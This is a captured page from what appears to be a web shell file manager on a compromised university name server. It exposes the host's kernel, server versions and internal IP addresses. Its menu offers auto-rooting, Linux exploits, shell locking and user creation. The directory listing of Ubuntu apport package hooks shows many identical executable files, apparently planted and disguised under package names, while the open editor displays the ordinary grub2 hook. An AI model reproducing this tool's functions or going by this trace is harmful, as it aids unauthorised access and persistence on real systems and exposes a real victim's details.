Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
usr /
share /
apport /
package-hooks /
[ HOME SHELL ]
Name
Size
Permission
Action
aptdaemon.py
2.81
KB
-rw-r--r--
bind9.py
738
B
-rw-r--r--
isc-dhcp-client.py
1.75
KB
-rw-r--r--
libatasmart4.py
943
B
-rw-r--r--
openssh-client.py
1.18
KB
-rw-r--r--
openssh-server.py
1004
B
-rw-r--r--
shotwell.py
208
B
-rw-r--r--
source_alsa-driver.py
187
B
-rw-r--r--
source_apparmor.py
2.72
KB
-rw-r--r--
source_apport.py
569
B
-rw-r--r--
source_bluez.py
1.02
KB
-rw-r--r--
source_c2esp.py
213
B
-rw-r--r--
source_cheese.py
3.19
KB
-rw-r--r--
source_console-setup.py
374
B
-rw-r--r--
source_cups-filters.py
220
B
-rw-r--r--
source_cups.py
328
B
-rw-r--r--
source_debian-installer.py
1.86
KB
-rw-r--r--
source_evince.py
546
B
-rw-r--r--
source_fontconfig.py
162
B
-rw-r--r--
source_foo2zjs.py
215
B
-rw-r--r--
source_foomatic-db.py
219
B
-rw-r--r--
source_gnome-control-center.py
1.4
KB
-rw-r--r--
source_gnome-settings-daemon.py
985
B
-rw-r--r--
source_gnome-shell.py
1.59
KB
-rw-r--r--
source_grub2.py
3.79
KB
-rw-r--r--
source_hplip.py
213
B
-rw-r--r--
source_kerneloops.py
283
B
-rw-r--r--
source_libdmx.py
23.93
KB
-rwxr-xr-x
source_libdrm.py
23.93
KB
-rwxr-xr-x
source_libfontenc.py
23.93
KB
-rwxr-xr-x
source_libfs.py
23.93
KB
-rwxr-xr-x
source_libglvnd.py
23.93
KB
-rwxr-xr-x
source_libice.py
23.93
KB
-rwxr-xr-x
source_libinput.py
23.93
KB
-rwxr-xr-x
source_libmtp.py
1.55
KB
-rw-r--r--
source_libpciaccess.py
23.93
KB
-rwxr-xr-x
source_libsm.py
23.93
KB
-rwxr-xr-x
source_libvdpau.py
23.93
KB
-rwxr-xr-x
source_libwacom.py
23.93
KB
-rwxr-xr-x
source_libx11.py
23.93
KB
-rwxr-xr-x
source_libxau.py
23.93
KB
-rwxr-xr-x
source_libxaw.py
23.93
KB
-rwxr-xr-x
source_libxcb.py
23.93
KB
-rwxr-xr-x
source_libxcomposite.py
23.93
KB
-rwxr-xr-x
source_libxcursor.py
23.93
KB
-rwxr-xr-x
source_libxdamage.py
23.93
KB
-rwxr-xr-x
source_libxdmcp.py
23.93
KB
-rwxr-xr-x
source_libxext.py
23.93
KB
-rwxr-xr-x
source_libxfixes.py
23.93
KB
-rwxr-xr-x
source_libxfontcache.py
23.93
KB
-rwxr-xr-x
source_libxfont.py
23.93
KB
-rwxr-xr-x
source_libxft.py
23.93
KB
-rwxr-xr-x
source_libxinerama.py
23.93
KB
-rwxr-xr-x
source_libxi.py
23.93
KB
-rwxr-xr-x
source_libxkbcommon.py
23.93
KB
-rwxr-xr-x
source_libxkbfile.py
23.93
KB
-rwxr-xr-x
source_libxkbui.py
23.93
KB
-rwxr-xr-x
source_libxmu.py
23.93
KB
-rwxr-xr-x
source_libxpm.py
23.93
KB
-rwxr-xr-x
source_libxrandr.py
23.93
KB
-rwxr-xr-x
source_libxrender.py
23.93
KB
-rwxr-xr-x
source_libxres.py
23.93
KB
-rwxr-xr-x
source_libxss.py
23.93
KB
-rwxr-xr-x
source_libxt.py
23.93
KB
-rwxr-xr-x
source_libxtst.py
23.93
KB
-rwxr-xr-x
source_libxvmc.py
23.93
KB
-rwxr-xr-x
source_libxv.py
23.93
KB
-rwxr-xr-x
source_libxxf86dga.py
23.93
KB
-rwxr-xr-x
source_libxxf86vm.py
23.93
KB
-rwxr-xr-x
source_linux-aws-6.8.py
6.15
KB
-rw-r--r--
source_linux-aws.py
6.15
KB
-rw-r--r--
source_linux-azure-6.8.py
6.15
KB
-rw-r--r--
source_linux-azure-fde.py
6.15
KB
-rw-r--r--
source_linux-azure.py
6.15
KB
-rw-r--r--
source_linux-firmware.py
6.15
KB
-rw-r--r--
source_linux-gcp-6.8.py
6.15
KB
-rw-r--r--
source_linux-gcp.py
6.15
KB
-rw-r--r--
source_linux-gkeop.py
6.15
KB
-rw-r--r--
source_linux-gke.py
6.15
KB
-rw-r--r--
source_linux-hwe-6.8.py
6.15
KB
-rw-r--r--
source_linux-ibm-6.8.py
6.15
KB
-rw-r--r--
source_linux-ibm.py
6.15
KB
-rw-r--r--
source_linux-intel-iotg.py
6.15
KB
-rw-r--r--
source_linux-kvm.py
6.15
KB
-rw-r--r--
source_linux-lowlatency-hwe-6.8.py
6.15
KB
-rw-r--r--
source_linux-lowlatency.py
6.15
KB
-rw-r--r--
source_linux-meta-aws-6.8.py
6.15
KB
-rw-r--r--
source_linux-meta-aws.py
6.15
KB
-rw-r--r--
source_linux-meta-azure-6.8.py
6.15
KB
-rw-r--r--
source_linux-meta-azure-fde.py
6.15
KB
-rw-r--r--
source_linux-meta-azure.py
6.15
KB
-rw-r--r--
source_linux-meta-gcp-6.8.py
6.15
KB
-rw-r--r--
source_linux-meta-gcp.py
6.15
KB
-rw-r--r--
source_linux-meta-gkeop.py
6.15
KB
-rw-r--r--
source_linux-meta-gke.py
6.15
KB
-rw-r--r--
source_linux-meta-hwe-6.8.py
6.15
KB
-rw-r--r--
source_linux-meta-ibm-6.8.py
6.15
KB
-rw-r--r--
source_linux-meta-ibm.py
6.15
KB
-rw-r--r--
source_linux-meta-intel-iotg.py
6.15
KB
-rw-r--r--
source_linux-meta-kvm.py
6.15
KB
-rw-r--r--
source_linux-meta-lowlatency-hwe-6.8.py
6.15
KB
-rw-r--r--
source_linux-meta-lowlatency.py
6.15
KB
-rw-r--r--
source_linux-meta-nvidia-6.8.py
6.15
KB
-rw-r--r--
source_linux-meta-nvidia.py
6.15
KB
-rw-r--r--
source_linux-meta-nvidia-tegra-igx.py
6.15
KB
-rw-r--r--
source_linux-meta-nvidia-tegra.py
6.15
KB
-rw-r--r--
source_linux-meta-oem-osp1.py
6.15
KB
-rw-r--r--
source_linux-meta-oem.py
6.15
KB
-rw-r--r--
source_linux-meta-oracle-6.8.py
6.15
KB
-rw-r--r--
source_linux-meta-oracle.py
6.15
KB
-rw-r--r--
source_linux-meta.py
6.15
KB
-rw-r--r--
source_linux-meta-raspi.py
6.15
KB
-rw-r--r--
source_linux-meta-realtime.py
6.15
KB
-rw-r--r--
source_linux-meta-riscv-6.8.py
6.15
KB
-rw-r--r--
source_linux-meta-xilinx-zynqmp.py
6.15
KB
-rw-r--r--
source_linux-nvidia-6.8.py
6.15
KB
-rw-r--r--
source_linux-nvidia.py
6.15
KB
-rw-r--r--
source_linux-nvidia-tegra-igx.py
6.15
KB
-rw-r--r--
source_linux-nvidia-tegra.py
6.15
KB
-rw-r--r--
source_linux-oem-osp1.py
6.15
KB
-rw-r--r--
source_linux-oem.py
6.15
KB
-rw-r--r--
source_linux-oracle-6.8.py
6.15
KB
-rw-r--r--
source_linux-oracle.py
6.15
KB
-rw-r--r--
source_linux.py
6.15
KB
-rw-r--r--
source_linux-raspi.py
6.15
KB
-rw-r--r--
source_linux-realtime.py
6.15
KB
-rw-r--r--
source_linux-restricted-modules-aws-6.8.py
6.15
KB
-rw-r--r--
source_linux-restricted-modules-aws.py
6.15
KB
-rw-r--r--
source_linux-restricted-modules-azure-6.8.py
6.15
KB
-rw-r--r--
source_linux-restricted-modules-azure.py
6.15
KB
-rw-r--r--
source_linux-restricted-modules-gcp-6.8.py
6.15
KB
-rw-r--r--
source_linux-restricted-modules-gcp.py
6.15
KB
-rw-r--r--
source_linux-restricted-modules-hwe-6.8.py
6.15
KB
-rw-r--r--
source_linux-restricted-modules-ibm-6.8.py
6.15
KB
-rw-r--r--
source_linux-restricted-modules-intel-iotg.py
6.15
KB
-rw-r--r--
source_linux-restricted-modules-lowlatency-hwe-6.8.py
6.15
KB
-rw-r--r--
source_linux-restricted-modules-lowlatency.py
6.15
KB
-rw-r--r--
source_linux-restricted-modules-nvidia-6.8.py
6.15
KB
-rw-r--r--
source_linux-restricted-modules-nvidia.py
6.15
KB
-rw-r--r--
source_linux-restricted-modules-nvidia-tegra-igx.py
6.15
KB
-rw-r--r--
source_linux-restricted-modules-oracle-6.8.py
6.15
KB
-rw-r--r--
source_linux-restricted-modules-oracle.py
6.15
KB
-rw-r--r--
source_linux-restricted-modules.py
6.15
KB
-rw-r--r--
source_linux-riscv-6.8.py
6.15
KB
-rw-r--r--
source_linux-signed-aws-6.8.py
6.15
KB
-rw-r--r--
source_linux-signed-aws.py
6.15
KB
-rw-r--r--
source_linux-signed-azure-6.8.py
6.15
KB
-rw-r--r--
source_linux-signed-azure-fde.py
6.15
KB
-rw-r--r--
source_linux-signed-azure.py
6.15
KB
-rw-r--r--
source_linux-signed-gcp-6.8.py
6.15
KB
-rw-r--r--
source_linux-signed-gcp.py
6.15
KB
-rw-r--r--
source_linux-signed-gkeop.py
6.15
KB
-rw-r--r--
source_linux-signed-gke.py
6.15
KB
-rw-r--r--
source_linux-signed-hwe-6.8.py
6.15
KB
-rw-r--r--
source_linux-signed-ibm-6.8.py
6.15
KB
-rw-r--r--
source_linux-signed-ibm.py
6.15
KB
-rw-r--r--
source_linux-signed-intel-iotg.py
6.15
KB
-rw-r--r--
source_linux-signed-kvm.py
6.15
KB
-rw-r--r--
source_linux-signed-lowlatency-hwe-6.8.py
6.15
KB
-rw-r--r--
source_linux-signed-lowlatency.py
6.15
KB
-rw-r--r--
source_linux-signed-nvidia-6.8.py
6.15
KB
-rw-r--r--
source_linux-signed-nvidia.py
6.15
KB
-rw-r--r--
source_linux-signed-nvidia-tegra-igx.py
6.15
KB
-rw-r--r--
source_linux-signed-nvidia-tegra.py
6.15
KB
-rw-r--r--
source_linux-signed-oem-osp1.py
6.15
KB
-rw-r--r--
source_linux-signed-oem.py
6.15
KB
-rw-r--r--
source_linux-signed-oracle-6.8.py
6.15
KB
-rw-r--r--
source_linux-signed-oracle.py
6.15
KB
-rw-r--r--
source_linux-signed.py
6.15
KB
-rw-r--r--
source_linux-signed-realtime.py
6.15
KB
-rw-r--r--
source_linux-xilinx-zynqmp.py
6.15
KB
-rw-r--r--
source_m2300w.py
214
B
-rw-r--r--
source_mesa-demos.py
23.93
KB
-rwxr-xr-x
source_mesa.py
23.93
KB
-rwxr-xr-x
source_min12xxw.py
216
B
-rw-r--r--
source_mtdev.py
4.07
KB
-rw-r--r--
source_nautilus.py
898
B
-rw-r--r--
source_network-manager-applet.py
2.97
KB
-rw-r--r--
source_network-manager.py
2.97
KB
-rw-r--r--
source_pixman.py
23.93
KB
-rwxr-xr-x
source_plymouth.py
1.44
KB
-rw-r--r--
source_pnm2ppa.py
215
B
-rw-r--r--
source_pulseaudio.py
278
B
-rw-r--r--
source_pxljr.py
213
B
-rw-r--r--
source_radeontool.py
23.93
KB
-rwxr-xr-x
source_rastertosag-gdi.py
223
B
-rw-r--r--
source_rhythmbox.py
1.54
KB
-rw-r--r--
source_shadow.py
720
B
-rw-r--r--
source_shim.py
1.95
KB
-rw-r--r--
source_shim-signed.py
1.95
KB
-rw-r--r--
source_simple-scan.py
925
B
-rw-r--r--
source_splix.py
213
B
-rw-r--r--
source_sudo.py
1.13
KB
-rw-r--r--
source_system-config-printer.py
229
B
-rw-r--r--
source_thunderbird.py
52.93
KB
-rw-r--r--
source_totem.py
820
B
-rw-r--r--
source_ubiquity.py
7.59
KB
-rw-r--r--
source_ubuntu-advantage-tools.py
1.22
KB
-rw-r--r--
source_ubuntu-release-upgrader.py
2.62
KB
-rw-r--r--
source_unattended-upgrades.py
705
B
-rw-r--r--
source_update-manager.py
2.39
KB
-rw-r--r--
source_usb-creator.py
558
B
-rw-r--r--
source_wayland.py
23.93
KB
-rwxr-xr-x
source_weston.py
23.93
KB
-rwxr-xr-x
source_x11-apps.py
23.93
KB
-rwxr-xr-x
source_x11-session-utils.py
23.93
KB
-rwxr-xr-x
source_x11-utils.py
23.93
KB
-rwxr-xr-x
source_x11-xfs-utils.py
23.93
KB
-rwxr-xr-x
source_x11-xkb-utils.py
23.93
KB
-rwxr-xr-x
source_x11-xserver-utils.py
23.93
KB
-rwxr-xr-x
source_xauth.py
23.93
KB
-rwxr-xr-x
source_xbitmaps.py
23.93
KB
-rwxr-xr-x
source_xcb-proto.py
23.93
KB
-rwxr-xr-x
source_xcompmgr.py
23.93
KB
-rwxr-xr-x
source_xcursor-themes.py
23.93
KB
-rwxr-xr-x
source_xdm.py
23.93
KB
-rwxr-xr-x
source_xf86-input-evtouch.py
23.93
KB
-rwxr-xr-x
source_xf86-input-mtrack.py
23.93
KB
-rwxr-xr-x
source_xf86-input-wacom.py
23.93
KB
-rwxr-xr-x
source_xfonts-core.py
23.93
KB
-rwxr-xr-x
source_xfonts-utils.py
23.93
KB
-rwxr-xr-x
source_xfs.py
23.93
KB
-rwxr-xr-x
source_xft.py
23.93
KB
-rwxr-xr-x
source_xinit.py
23.93
KB
-rwxr-xr-x
source_xinput-calibrator.py
23.93
KB
-rwxr-xr-x
source_xinput.py
23.93
KB
-rwxr-xr-x
source_xkeyboard-config.py
23.93
KB
-rwxr-xr-x
source_x-kit.py
23.93
KB
-rwxr-xr-x
source_xorg-docs.py
23.93
KB
-rwxr-xr-x
source_xorg-options-editor-gtk.py
23.93
KB
-rwxr-xr-x
source_xorgproto.py
23.93
KB
-rwxr-xr-x
source_xorg.py
23.93
KB
-rwxr-xr-x
source_xorg-server.py
23.93
KB
-rwxr-xr-x
source_xorg-sgml-doctools.py
23.93
KB
-rwxr-xr-x
source_xrandr.py
23.93
KB
-rwxr-xr-x
source_xrestop.py
23.93
KB
-rwxr-xr-x
source_xserver-xorg-input-evdev.py
23.93
KB
-rwxr-xr-x
source_xserver-xorg-input-joystick.py
23.93
KB
-rwxr-xr-x
source_xserver-xorg-input-libinput.py
23.93
KB
-rwxr-xr-x
source_xserver-xorg-input-mouse.py
23.93
KB
-rwxr-xr-x
source_xserver-xorg-input-synaptics.py
23.93
KB
-rwxr-xr-x
source_xserver-xorg-input-vmmouse.py
23.93
KB
-rwxr-xr-x
source_xserver-xorg-input-wacom.py
23.93
KB
-rwxr-xr-x
source_xserver-xorg-video-amdgpu.py
23.93
KB
-rwxr-xr-x
source_xserver-xorg-video-ati.py
23.93
KB
-rwxr-xr-x
source_xserver-xorg-video-dummy.py
23.93
KB
-rwxr-xr-x
source_xserver-xorg-video-fbdev.py
23.93
KB
-rwxr-xr-x
source_xserver-xorg-video-intel.py
23.93
KB
-rwxr-xr-x
source_xserver-xorg-video-mga.py
23.93
KB
-rwxr-xr-x
source_xserver-xorg-video-nouveau.py
23.93
KB
-rwxr-xr-x
source_xserver-xorg-video-openchrome.py
23.93
KB
-rwxr-xr-x
source_xserver-xorg-video-qxl.py
23.93
KB
-rwxr-xr-x
source_xserver-xorg-video-vesa.py
23.93
KB
-rwxr-xr-x
source_xserver-xorg-video-vmware.py
23.93
KB
-rwxr-xr-x
source_xterm.py
23.93
KB
-rwxr-xr-x
source_xtrace.py
23.93
KB
-rwxr-xr-x
source_xtrans.py
23.93
KB
-rwxr-xr-x
source_xutils-dev.py
23.93
KB
-rwxr-xr-x
source_yelp.py
905
B
-rw-r--r--
subiquity.py
5.11
KB
-rw-r--r--
systemd.py
871
B
-rw-r--r--
ubuntu-desktop-installer.py
1.25
KB
-rw-r--r--
ubuntu-drivers-common.py
270
B
-rw-r--r--
udev.py
455
B
-rw-r--r--
udisks2.py
752
B
-rw-r--r--
whoopsie.py
703
B
-rw-r--r--
xserver-xorg-core.py
23.93
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : source_grub2.py
# vim: set fileencoding=UTF-8 : '''apport package hook for grub2 Author: Jean-Baptiste Lallement <jeanbaptiste.lallement@gmail.com> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. See http://www.gnu.org/copyleft/gpl.html for the full text of the license. ''' from __future__ import print_function import os import re import subprocess from apport.hookutils import ( attach_default_grub, attach_file, attach_file_if_exists, path_to_key, ) def check_shell_syntax(path): ''' Check the syntax of a shell script ''' try: with open(os.devnull, 'w') as devnull: subprocess.check_call(['/bin/sh', '-n', path], stderr=devnull) except subprocess.CalledProcessError: return False return True def check_shell_syntax_harder(path): ''' Check the syntax of a shell script ''' try: # sh -n is tempting, but not good enough. Consider this case: # # GRUB_CMDLINE_LINUX_DEFAULT=”quiet splash nomodeset” # # The quotes are Unicode quotes, not valid in the shell and probably # caused by copying a line out of a web page. This is parsed as an # instruction to run the 'splash' command with argument 'nomodeset”' # and with the GRUB_CMDLINE_LINUX_DEFAULT environment variable set # to '”quiet'. 'sh -n' allows this because this is a valid parse # and it's possible that the command 'splash' might exist, but what # we need to know is whether sourcing the file will fail. # # Unfortunately this test may involve executing code. However, this # file is already sourced as root when running update-grub, so it # seems unlikely that this could do any further harm. with open(os.devnull, 'w') as devnull: subprocess.check_call( ['/bin/sh', '-ec', '. %s' % re.escape(path)], stderr=devnull) except subprocess.CalledProcessError: return False return True def add_info(report): if report['ProblemType'] == 'Package': # To detect if root fs is a loop device attach_file(report, '/proc/cmdline', 'ProcCmdLine') attach_default_grub(report, 'EtcDefaultGrub') attach_file_if_exists(report, '/boot/grub/device.map', 'DeviceMap') try: grub_d = '/etc/default/grub.d' for name in sorted(os.listdir(grub_d)): if name.endswith('.cfg'): key = 'EtcDefaultGrubD.' + path_to_key(name) attach_file_if_exists( report, os.path.join(grub_d, name), key) except OSError: pass invalid_grub_script = [] if not check_shell_syntax_harder('/etc/default/grub'): invalid_grub_script.append('/etc/default/grub') # Check scripts in /etc/grub.d since some users directly change # configuration there grubdir = '/etc/grub.d' for f in os.listdir(grubdir): fullpath = os.path.join(grubdir, f) if f != 'README' and os.access(fullpath, os.X_OK) \ and not check_shell_syntax(fullpath): invalid_grub_script.append(fullpath) attach_file(report, fullpath) # TODO: Add some UI to ask if the user modified the invalid script # and if he still wants to report it if invalid_grub_script: report['InvalidGrubScript'] = ' '.join(invalid_grub_script) if __name__ == '__main__': r = {} r['ProblemType'] = 'Package' add_info(r) for k, v in r.items(): print('%s: "%s"' % (k, v)) print("========================================")
Close